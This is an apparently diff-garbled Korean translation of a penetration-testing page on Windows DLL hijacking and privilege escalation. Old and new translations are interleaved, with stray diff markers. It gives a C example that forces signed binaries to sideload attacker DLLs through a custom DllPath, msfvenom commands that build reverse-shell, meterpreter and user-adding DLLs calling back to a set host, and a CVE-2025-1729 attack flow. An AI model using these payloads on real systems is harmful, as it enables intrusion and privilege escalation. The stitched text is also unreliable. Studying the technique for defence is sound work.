6. **Relative Path DLL Hijacking**: 복사된 애플리케이션과 함께 사용자 제어 디렉토리에 악성 DLL을 배치하여 Binary Proxy Execution 기술과 유사하게 만듭니다. 6. **Relative Path DLL Hijacking**: 복사된 애플리케이션과 함께 사용자가 제어하는 디렉터리에 악성 DLL을 배치하는 방법으로, Binary Proxy Execution 기술과 유사합니다.
## Finding missing Dlls ## Finding missing Dlls
시스템 내에서 누락된 DLL을 찾는 가장 일반적인 방법은 sysinternals에서 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)을 실행하고, **다음 2개의 필터를 설정**하는 것입니다: 시스템 내에서 누락된 Dll을 찾는 가장 일반적인 방법은 sysinternals의 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)을 실행하고, 다음 2개의 필터를 설정하는 것입니다:
![](<../../../images/image (961).png>) ![](<../../../images/image (961).png>)
![](<../../../images/image (230).png>) ![](<../../../images/image (230).png>)
그리고 **파일 시스템 활동**만 표시합니다: 그리고 **File System Activity**만 표시합니다:
![](<../../../images/image (153).png>) ![](<../../../images/image (153).png>)
**일반적으로 누락된 dll을 찾고 있다면** 몇 **초** 동안 이 상태로 두십시오.\ 일반적으로 **missing dlls**를 찾고 있다면 이 상태로 몇 초 동안 실행해 두면 됩니다.\
**특정 실행 파일 내에서 누락된 dll을 찾고 있다면** **"Process Name" "contains" "\<exec name>"**와 같은 **다른 필터를 설정하고, 실행한 후 이벤트 캡처를 중지해야** 합니다. 특정 실행 파일 내부의 **missing dll**을 찾고 있다면 **"Process Name" "contains" "\<exec name>"** 같은 추가 필터를 설정한 뒤 해당 실행 파일을 실행하고 이벤트 캡처를 중지해야 합니다.
## Exploiting Missing Dlls ## Exploiting Missing Dlls
권한을 상승시키기 위해, 우리가 가질 수 있는 최선의 기회는 **특권 프로세스가 로드하려고 시도할 DLL을 작성하는 것**입니다. 따라서, 우리는 **원래 DLL**이 있는 폴더보다 **먼저 검색되는 폴더**에 DLL을 **작성**할 수 있거나, **DLL이 검색될 폴더**에 **작성할 수 있는 권한**이 있어야 하며, 원래 **DLL이 어떤 폴더에도 존재하지 않아야**니다. 권한 상승을 위해 가장 좋은 기회는 privilege process가 로드하려고 시도할 DLL을 해당 프로세스가 검색하는 위치들 중 하나에 쓸 수 있는 능력입니다. 따라서 우리는 원본 DLL이 있는 폴더보다 먼저 검색되는 폴더에 DLL을 쓸 수 있거나(특이한 경우), 원본 DLL이 어떤 폴더에도 존재하지 않아 해당 폴더에 DLL을 쓸 수 있는 경우에 성공할 수 있습니다.
### Dll Search Order ### Dll Search Order
**Microsoft 문서** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.** **Microsoft 문서**(https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.
**Windows 애플리케이션**은 **미리 정의된 검색 경로**를 따라 DLL을 찾으며, 특정 순서를 준수합니다. DLL 하이재킹 문제는 해로운 DLL이 이러한 디렉토리 중 하나에 전략적으로 배치되어 진짜 DLL보다 먼저 로드되도록 할 때 발생합니다. 이를 방지하기 위한 해결책은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다. Windows 애플리케이션은 미리 정의된 검색 경로 집합을 따라 DLL을 찾으며 특정 순서를 따릅니다. 악성 DLL을 이러한 디렉터리 중 하나에 전략적으로 배치하면 정식 DLL보다 먼저 로드되도록 할 수 있어 DLL hijacking 문제가 발생합니다. 이를 방지하는 한 가지 방법은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
32비트 시스템에서의 **DLL 검색 순서**는 다음과 같습니다: 다음은 32-bit 시스템에서의 DLL 검색 순서입니다:
1. 애플리케이션이 로드된 디렉토리. 1. 애플리케이션이 로드된 디렉터리.
2. 시스템 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 함수를 사용합니다.(_C:\Windows\System32_) 2. 시스템 디렉터리. 이 디렉터리의 경로를 얻으려면 [GetSystemDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 함수를 사용합니다.(_C:\Windows\System32_)
3. 16비트 시스템 디렉토리. 이 디렉토리의 경로를 얻는 함수는 없지만 검색됩니다. (_C:\Windows\System_) 3. 16-bit 시스템 디렉터리. 이 디렉터리의 경로를 얻는 함수는 없지만 검색됩니다. (_C:\Windows\System_)
4. Windows 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 함수를 사용합니다. (_C:\Windows_) 4. Windows 디렉터리. 이 디렉터리의 경로를 얻으려면 [GetWindowsDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 함수를 사용합니다.
5. 현재 디렉토리. 1. (_C:\Windows_)
6. PATH 환경 변수에 나열된 디렉토리. 여기에는 **App Paths** 레지스트리 키에 의해 지정된 애플리케이션별 경로가 포함되지 않습니다. **App Paths** 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다. 5. 현재 디렉터리.
6. PATH 환경 변수에 나열된 디렉터리들. 여기에는 App Paths 레지스트리 키로 지정된 애플리케이션별 경로는 포함되지 않습니다. App Paths 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다.
것이 **SafeDllSearchMode**가 활성화된 상태에서의 **기본** 검색 순서입니다. 비활성화되면 현재 디렉토리가 두 번째 위치로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정합니다(기본값은 활성화됨). **SafeDllSearchMode**가 활성화된 경우의 기본 검색 순서입니다. 비활성화되면 현재 디렉터리가 두 번째로 올라갑니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 만들고 0으로 설정하면 됩니다(기본값은 활성화).
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH**와 함께 호출되면 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉토리에서 시작됩니다. [LoadLibraryEx](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH**와 함께 호출되면 검색은 LoadLibraryEx가 로드하는 실행 모듈의 디렉터리에서 시작됩니다.
마지막으로, **DLL은 이름 대신 절대 경로를 지정하여 로드될 수 있습니다**. 이 경우 해당 DLL은 **그 경로에서만 검색됩니다**(DLL에 종속성이 있는 경우, 종속성은 이름으로 로드된 것처럼 검색됩니다). 마지막으로, **절대 경로로 지정되어 DLL을 로드할 수 있다**는 점을 유의하세요. 이 경우 해당 dll은 그 경로에서만 검색됩니다(해당 dll이 종속성을 가지고 있다면, 그 종속성들은 이름으로만 로드될 때처럼 검색됩니다).
검색 순서를 변경하는 다른 방법 있지만 여기서는 설명하지 않겠습니다. 검색 순서를 변경하는 다른 방법들도 있지만 여기서는 설명하지 않겠습니다.
#### Exceptions on dll search order from Windows docs ### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
Windows 문서에서 표준 DLL 검색 순서에 대한 특정 예외가 언급됩니다: 새로 생성된 프로세스의 DLL 검색 경로를 결정론적으로 조작하는 고급 방법은 ntdll의 네이티브 API로 프로세스를 생성할 때 RTL_USER_PROCESS_PARAMETERS의 DllPath 필드를 설정하는 것입니다. 여기에서 공격자가 제어하는 디렉터리를 제공하면, 대상 프로세스가 절대 경로 없이(이름으로만) DLL을 해석할 때 해당 디렉터리에서 악성 DLL을 로드하도록 강제할 수 있습니다.
- **메모리에 이미 로드된 DLL과 이름이 같은 DLL**이 발견되면 시스템은 일반 검색을 우회합니다. 대신, 리디렉션 및 매니페스트를 확인한 후 메모리에 이미 있는 DLL로 기본 설정합니다. **이 경우 시스템은 DLL 검색을 수행하지 않습니다**. 핵심 아이디어
- DLL이 현재 Windows 버전의 **알려진 DLL**로 인식되는 경우, 시스템은 검색 프로세스를 생략하고 알려진 DLL의 버전과 해당 종속 DLL을 사용합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**는 이러한 알려진 DLL의 목록을 보유합니다. - RtlCreateProcessParametersEx로 프로세스 파라미터를 구성하고, 제어하는 폴더(예: dropper/unpacker가 위치한 디렉터리)를 가리키는 맞춤 DllPath를 제공합니다.
- **DLL에 종속성이 있는 경우**, 이러한 종속 DLL에 대한 검색은 초기 DLL이 전체 경로를 통해 식별되었는지 여부에 관계없이 **모듈 이름**만으로 표시된 것처럼 수행됩니다. - RtlCreateUserProcess로 프로세스를 생성합니다. 대상 바이너리가 이름으로 DLL을 해석하면 로더가 이 제공된 DllPath를 참조하여 해석하므로, 악성 DLL이 대상 EXE와 같은 위치에 있지 않아도 신뢰할 수 있는 sideloading이 가능해집니다.
### Escalating Privileges 주의사항/제한
- 이것은 생성되는 자식 프로세스에 영향을 미치며, 현재 프로세스에만 영향을 주는 SetDllDirectory와는 다릅니다.
- 대상은 이름으로 DLL을 import하거나 LoadLibrary해야 합니다(절대 경로가 아니고 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories를 사용하지 않아야 함).
- KnownDLLs와 하드코딩된 절대 경로는 hijack할 수 없습니다. Forwarded exports와 SxS는 우선순위를 변경할 수 있습니다.
**Requirements**: Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
- **다른 권한**(수평 또는 측면 이동)으로 작동하거나 작동할 **프로세스**를 식별하고, **DLL**이 **누락된** 상태여야 합니다. // Prototype (not in winternl.h in older SDKs)
- **DLL**이 **검색될** **디렉토리**에 대한 **쓰기 권한**이 있어야 합니다. 이 위치는 실행 파일의 디렉토리일 수도 있고 시스템 경로 내의 디렉토리일 수도 있습니다. typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
네, 기본적으로 **특권 실행 파일이 DLL이 누락된 상태를 찾는 것은 다소 이상하기 때문에** 요구 사항을 찾는 것이 복잡합니다. 그리고 **시스템 경로 폴더에 쓰기 권한을 갖는 것은 기본적으로 불가능합니다**. 그러나 잘못 구성된 환경에서는 가능합니다.\ typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
운이 좋다면 요구 사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인할 수 있습니다. **프로젝트의 주요 목표가 UAC 우회이지만**, 사용할 수 있는 Windows 버전의 DLL 하이재킹 **PoC**를 찾을 수 있습니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다). PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
폴더에서 **권한을 확인할 수 있는 방법**은 다음과 같습니다: static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
운영상 사용 예
- 악성 xmllite.dll (필요한 함수를 내보내거나 실제 DLL을 프록시하는) 를 DllPath 디렉터리에 배치합니다.
- 위 기술을 사용하여 이름으로 xmllite.dll을 조회하는 것으로 알려진 서명된 바이너리를 실행합니다. 로더는 제공된 DllPath를 통해 임포트를 해결하고 귀하의 DLL을 sideload합니다.
이 기법은 실전에서 다단계 sideloading 체인을 유발하는 것으로 관찰되었습니다: 초기 런처가 헬퍼 DLL을 드롭하고, 그 헬퍼가 Microsoft-signed, hijackable 바이너리를 실행하여 커스텀 DllPath로 공격자의 DLL을 스테이징 디렉터리에서 강제로 로드하도록 합니다.
#### Windows 문서의 DLL 검색 순서 예외사항
Windows 문서에는 표준 DLL 검색 순서에 대한 특정 예외들이 명시되어 있습니다:
- When a **이미 메모리에 로드된 것과 같은 이름을 가진 DLL**이 발견되면, 시스템은 일반 검색을 우회합니다. 대신, 리다이렉션과 매니페스트를 확인한 후 기본적으로 이미 메모리에 있는 DLL을 사용합니다. **이 시나리오에서는 시스템이 DLL을 검색하지 않습니다**.
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**에는 이러한 known DLL들의 목록이 저장되어 있습니다.
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
### 권한 상승
**요구사항**:
- 수평/측면 이동을 위해 **다른 권한**으로 실행되거나 실행될 가능성이 있는, **DLL이 누락된 프로세스**를 식별합니다.
- **DLL이 검색될** 모든 **디렉터리**에 대해 **쓰기 권한**이 있는지 확인합니다. 이 위치는 실행 파일의 디렉터리이거나 시스템 경로 내의 디렉터리일 수 있습니다.
네, 요구 조건을 찾기는 복잡합니다. 기본적으로 **권한이 높은 실행 파일이 DLL을 누락한 경우를 찾는 것은 드물고**, 시스템 경로 폴더에 **쓰기 권한을 갖는 것은 더욱 드문 일**입니다(기본적으로 불가능합니다). 하지만, 잘못 구성된 환경에서는 이것이 가능할 수 있습니다.\
운 좋게 요구 사항을 충족한다면 [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인해 보세요. 프로젝트의 **주된 목적은 UAC 우회이지만**, 해당 Windows 버전용 Dll hijaking의 **PoC**를 찾을 수 있을지 모릅니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다).
참고: **폴더에서 권한을 확인하는 방법**은 다음과 같습니다:
```bash ```bash
accesschk.exe -dqv "C:\Python27" accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27" icacls "C:\Python27"
``` ```
모든 폴더의 **권한을 확인하십시오** PATH 안에: 그리고 **PATH 내부의 모든 폴더의 권한을 확인하세요**:
```bash ```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
``` ```
실행 파일의 임포트와 dll의 익스포트를 확인할 수도 있습니다: 실행 파일의 imports와 dll의 exports는 다음으로 확인할 수 있습니다:
```c ```c
dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll dumpbin /export /path/file.dll
``` ```
전체 가이드는 **System Path 폴더에 쓰기 권한을 이용한 Dll Hijacking 악용 방법**을 확인하세요: For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
{{#ref}} {{#ref}}
writable-sys-path-+dll-hijacking-privesc.md writable-sys-path-+dll-hijacking-privesc.md
{{#endref}} {{#endref}}
### 자동화 도구 ### Automated tools
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)는 시스템 PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\ [**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)는 system PATH 내부의 어떤 폴더에 대해 쓰기 권한이 있는지 확인합니다.\
이 취약점을 발견하기 위한 다른 흥미로운 자동화 도구는 **PowerSploit 함수**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_입니다. 이 취약점을 발견하는 데 유용한 다른 자동화 도구로는 **PowerSploit functions**의 _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_가 있습니다.
### 예시 ### Example
악용 가능한 시나리오를 찾는 경우, 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 가져올 모든 함수를 내보내는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [**Medium Integrity 레벨에서 High로 (UAC 우회)**](../../authentication-credentials-uac-and-efs/index.html#uac) 또는 [**High Integrity에서 SYSTEM으로**](../index.html#from-high-integrity-to-system)**.**로 상승하는 데 유용하다는 점에 유의하세요. **유효한 dll을 생성하는 방법**에 대한 예시는 이 dll hijacking 연구에서 찾을 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ 만약 exploitable한 시나리오를 발견했다면, 성공적으로 이를 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 해당 DLL에서 import할 모든 함수들을 최소한으로 export하는 dll을 만드는 것**입니다. 어쨌든, Dll Hijacking은 [Medium Integrity level에서 High **(bypassing UAC)**로 권한 상승](../../authentication-credentials-uac-and-efs/index.html#uac)하거나 [**High Integrity에서 SYSTEM으로**](../index.html#from-high-integrity-to-system) 상승할 때 유용하게 쓰입니다. 실행을 위한 dll hijacking에 초점을 맞춘 이 dll hijacking 연구에서 **유효한 dll을 생성하는 방법**의 예를 찾을 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
또한, **다음 섹션**에서는 **템플릿**으로 유용할 수 있는 **기본 dll 코드**를 찾을 수 있습니다. 또한, **다음 섹션**에서는 템플릿으로 사용하거나 **필수 함수가 아닌 함수들을 export한 dll**을 만들 때 유용할 수 있는 몇 가지 **기본 dll 코드**를 찾을 수 있습니다.
## **Dll 생성 및 컴파일** ## **Dll 생성 및 컴파일**
### **Dll 프록시화** ### **Dll Proxifying**
기본적으로 **Dll 프록시**는 **로드될 때 악성 코드를 실행할 수 있는 Dll**이지만, **실제 라이브러리에 대한 모든 호출을 중계하여** **노출**하고 **작동**하는 Dll입니다. 기본적으로 **Dll proxy**는 로드될 때 악성 코드를 **실행**할 수 있으면서도, 모든 호출을 실제 라이브러리로 전달(relay)하여 기대된 대로 **노출(expose)** 및 **동작**할 수 있는 Dll입니다.
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 실제로 **실행 파일을 지정하고 프록시화할 라이브러리를 선택하여** **프록시화된 dll을 생성**하거나 **Dll을 지정하고 프록시화된 dll을 생성**할 수 있습니다. 도구 [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus)를 사용하면 실제로 **실행 파일을 지정하고 proxify할 라이브러리를 선택**하여 proxified dll을 생성하거나, **Dll을 지정하고 proxified dll을 생성**할 수 있습니다.
### **Meterpreter** ### **Meterpreter**
**rev shell 가져오기 (x64):** **rev shell (x64) 얻기:**
```bash ```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
``` ```
**미터프리터 얻기 (x86):** **meterpreter (x86)을 얻기:**
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
``` ```
**사용자 생성 (x86 버전만 확인됨, x64 버전은 없음):** **사용자 생성 (x86 — x64 버전은 보지 못함):**
``` ```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
``` ```
### 당신의 것 ### 직접 제작한 Dll
여러 경우에 컴파일하는 Dll은 **희생자 프로세스에 의해 로드될 여러 함수를 내보내야** 한다는 점에 유의하십시오. 이러한 함수가 존재하지 않으면 **바이너리가** 이를 로드할 수 없으며 **익스플로잇이 실패**합니다. 몇몇 경우, 컴파일한 Dll은 victim process가 로드할 여러 함수를 반드시 **export several functions** 해야 합니다. 이러한 함수들이 존재하지 않으면 **binary won't be able to load** them, 따라서 **exploit will fail**.
```c ```c
// Tested in Win10 // Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -212,20 +306,20 @@ break;
return TRUE; return TRUE;
} }
``` ```
## 사례 연구: CVE-2025-1729 - TPQMAssistant.exe를 이용한 권한 상승 ## 사례 연구: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
이 사례는 Lenovo의 TrackPoint Quick Menu(`TPQMAssistant.exe`)에서 **Phantom DLL Hijacking**을 보여주며, **CVE-2025-1729**로 추적됩니다. 이 사례는 Lenovo의 TrackPoint Quick Menu (`TPQMAssistant.exe`)에서 발생한 **Phantom DLL Hijacking**을 보여주며, **CVE-2025-1729**로 추적됩니다.
### 취약점 세부정보 ### 취약점 세부 정보
- **구성 요소**: `TPQMAssistant.exe``C:\ProgramData\Lenovo\TPQM\Assistant\`에 위치합니다. - **구성요소**: `TPQMAssistant.exe` (위치: `C:\ProgramData\Lenovo\TPQM\Assistant\`).
- **예약된 작업**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask`는 로그인한 사용자의 컨텍스트에서 매일 오전 9:30에 실행됩니다. - **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask`은 로그인한 사용자 컨텍스트에서 매일 오전 9:30에 실행됩니다.
- **디렉터리 권한**: `CREATOR OWNER`에 의해 쓰기가 가능하여 로컬 사용자가 임의의 파일을 드롭할 수 있습니다. - **Directory Permissions**: `CREATOR OWNER`에 의해 쓰기 가능하며, 로컬 사용자가 임의의 파일을 배치할 수 있습니다.
- **DLL 검색 동작**: 먼저 작업 디렉터리에서 `hostfxr.dll`을 로드하려 시도하며, 누락된 경우 "NAME NOT FOUND"를 기록하여 로컬 디렉터리 검색 우선 순위를 나타냅니다. - **DLL Search Behavior**: 먼저 작업 디렉터리에서 `hostfxr.dll`을 로드하려 시도하며, 누락된 경우 "NAME NOT FOUND"를 기록하여 로컬 디렉터리 검색 우선순위를 나타냅니다.
### 익스플로잇 구현 ### Exploit Implementation
공격자는 동일한 디렉터리에 악성 `hostfxr.dll` 스텁을 배치하여 누락된 DLL을 이용해 사용자의 컨텍스트에서 코드 실행을 달성할 수 있습니다: 공격자는 동일한 디렉터리에 악성 `hostfxr.dll` 스텁을 배치하여, 누락된 DLL을 악용해 사용자 컨텍스트에서 코드 실행을 얻을 수 있습니다:
```c ```c
#include <windows.h> #include <windows.h>
@ -239,21 +333,26 @@ return TRUE;
``` ```
### 공격 흐름 ### 공격 흐름
1. 표준 사용자로 `hostfxr.dll``C:\ProgramData\Lenovo\TPQM\Assistant\`드롭합니다. 1. 표준 사용자 권한으`hostfxr.dll``C:\ProgramData\Lenovo\TPQM\Assistant\`배치한다.
2. 현재 사용자 컨텍스트에서 오전 9:30에 예약된 작업이 실행될 때까지 기다립니다. 2. 현재 사용자 컨텍스트에서 예약된 작업이 오전 9시 30분에 실행될 때까지 기다린다.
3. 작업이 실행될 때 관리자가 로그인되어 있으면 악성 DLL이 관리자의 세션에서 중간 무결도로 실행됩니다. 3. 작업 실행 시 관리자가 로그인한 상태라면, 악성 DLL은 관리자의 세션에서 medium integrity로 실행된다.
4. 중간 무결도에서 SYSTEM 권한으로 상승하기 위해 표준 UAC 우회 기술을 연결합니다. 4. 표준 UAC bypass techniques를 연계하여 medium integrity에서 SYSTEM 권한으로 권한 상승을 시도한다.
### 완화 ### 완화
Lenovo는 Microsoft Store를 통해 UWP 버전 **1.12.54.0**을 출시하여 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`TPQMAssistant를 설치하고, 취약한 예약 작업을 제거하며, 레거시 Win32 구성 요소를 제거합니다. Lenovo는 Microsoft Store를 통해 UWP 버전 **1.12.54.0**을 배포했으며, 이 버전은 TPQMAssistant를 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`에 설치하고, 취약한 예약 작업을 제거하며, 레거시 Win32 구성요소를 제거한다.
## 참 ## 참고 자료
- [CVE-2025-1729 - TPQMAssistant.exe를 이용한 권한 상승](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) - [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng) - [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}